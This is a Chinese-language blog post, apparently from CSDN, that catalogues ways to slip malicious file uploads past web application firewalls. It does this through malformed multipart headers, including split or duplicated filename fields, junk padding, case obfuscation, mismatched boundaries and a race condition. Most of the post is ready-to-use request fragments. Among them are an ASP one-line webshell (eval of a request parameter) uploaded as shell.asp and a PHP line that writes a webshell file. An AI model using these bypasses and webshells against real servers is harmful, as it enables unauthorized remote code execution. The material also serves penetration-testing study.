• 文件上传—WAF拦截的绕过方式


    文件上传—WAF拦截的绕过方式


        我们常用的黑名单绕过方法也适用于部分waf,更多的是需要配合使用才能成功上传,主要思路为接收文件名和waf的检测有所差异,只要是服务器能接收并解析,怎样能绕过waf的检测都可以

    (1)通过filename换行来绕过检测,例如:

    第一种:
    Content-Disposition: form-data; name="file"; filename="1.p
    hp"
    第二种:
    Content-Disposition: form-data; name="file"; file
    name="1.php"
    第三种:
    Content-Disposition: form-data; name="file"; filename=
    "1.php"
    三种均可
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    (2)使用多个等号绕过检测,例如:

    Content-Disposition: form-data; name="file"; filename==="a.php"
    
    • 1

    (3)增大文件大小,类似于sql注入的大量垃圾字符绕waf检测,例如:

    Content-Disposition: form-data; aaaaaaaaaaaaaaaaaaaaa......aaaaaaaaaaaaaaaaaaaaa;name="file"; filename="a.php"
    
    • 1

    (4)去掉双引号或替换为单引号绕过waf:

    第一种:
    Content-Disposition: form-data; name=file1; filename=a.php
    第二种:
    Content-Disposition: form-data; name='file1'; filename="a.php"
    
    • 1
    • 2
    • 3
    • 4

    (5)有些只检测第一个firename,可以增加filename干扰拦截,例如:

    Content-Disposition: form-data; name="file"; filename= ;  filename="a.php"
    
    • 1

    (6)混淆waf匹配字段,例如:
    混淆form-data:

    Content-Disposition: name="file"; filename="a.php"
    去除form-data
    Content-Disposition: AAAAAAAA="BBBBBBBB"; name="file";  filename="a.php"
    替换form-data为垃圾值
    Content-Disposition: form-data   ; name="file"; filename="a.php"
    form-data后加空格
    Content-Disposition: for+m-data; name="file"; filename="a.php"
    form-data中加+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    混淆ConTent-Disposition

    COntEnT-DIsposiTiOn: form-data; name="file"; filename="a.php"
    大小写混淆
    Content-Type: image/gif
    Content-Disposition: form-data; name="file";  filename="a.php"
    调换Content-Type和ConTent-Disposition的顺序
    Content-Type: image/gif
    Content-Disposition: form-data; name="file";  filename="a.php"
    Content-Type: image/gif
    增加额外的头
    AAAAAAAA:filename="aaa.jpg";
    Content-Disposition: form-data; name="file";  filename="a.php"
    Content-Type: image/gif
    增加额外的头
    Content-Length: 666
    Content-Disposition: form-data; name="file";  filename="a.php"
    Content-Type: image/gif
    增加额外的头
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    (7)双文件绕过,例如安全狗总以最后一个Content-Disposition中的值做为接收参数进行检测,一些中间件例如IIS6.0总是以第一个Content-Disposition中的值做为接收参数。

    (8)容器与WAF对Boundary要求规则不一致

    Content-Type: multipart/form-data; boundary=---------------------------471****1141173****525****99
    Content-Length: 253
    -----------------------------471****1141173****525****99
    Content-Disposition: form-data; name="file1"; filename="shell.asp"
    Content-Type: application/octet-stream
    <%eval request("a")%>
    -----------------------------471****1141173****525****99--
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    一些WAF会认为两段Boundary不一致的数据是无意义的,不进行检测,而容器并没有严格要求,正常接收数据。

    (9)条件竞争,一些情况下在上传文件时,先上传到临时目录,然后再检测,检测到再删除,例如:可以上传生成一句话木马的文件

    fputs(fopen('shell6666.php','w'),'');
    
    • 1

    上传同时疯狂重复发包访问此文件,就有可能会在文件被删除之前生成webshell文件a.php

  • 相关阅读:
    详细介绍区块链之挖矿
    网络模型—BIO、NIO、IO多路复用、信号驱动IO、异步IO
    【计算广告学习笔记】1. 广告的计价方式和常用缩写
    php图片素材网毕业设计源码110907
    react-window构造的虚拟列表使用react-resizable动态调整宽度和使用react-drag-listview拖拽变换列位置的问题
    Flutter笔记:build方法、构建上下文BuildContext解析
    18、!!!使用最多Mybatis获取参数值的情况4(mapper接口方法参数为实体类类型参数)
    系统进程内容
    头歌-信息安全技术-用Python实现自己的区块链、支持以太坊的云笔记服务器端开发、编写并测试用于保存云笔记的智能合约、支持以太坊的云笔记小程序开发基础
    极狐GitLab专家团队支招解决 CVE-2023-4998 漏洞问题
  • 原文地址:https://blog.csdn.net/qq_56228347/article/details/128014012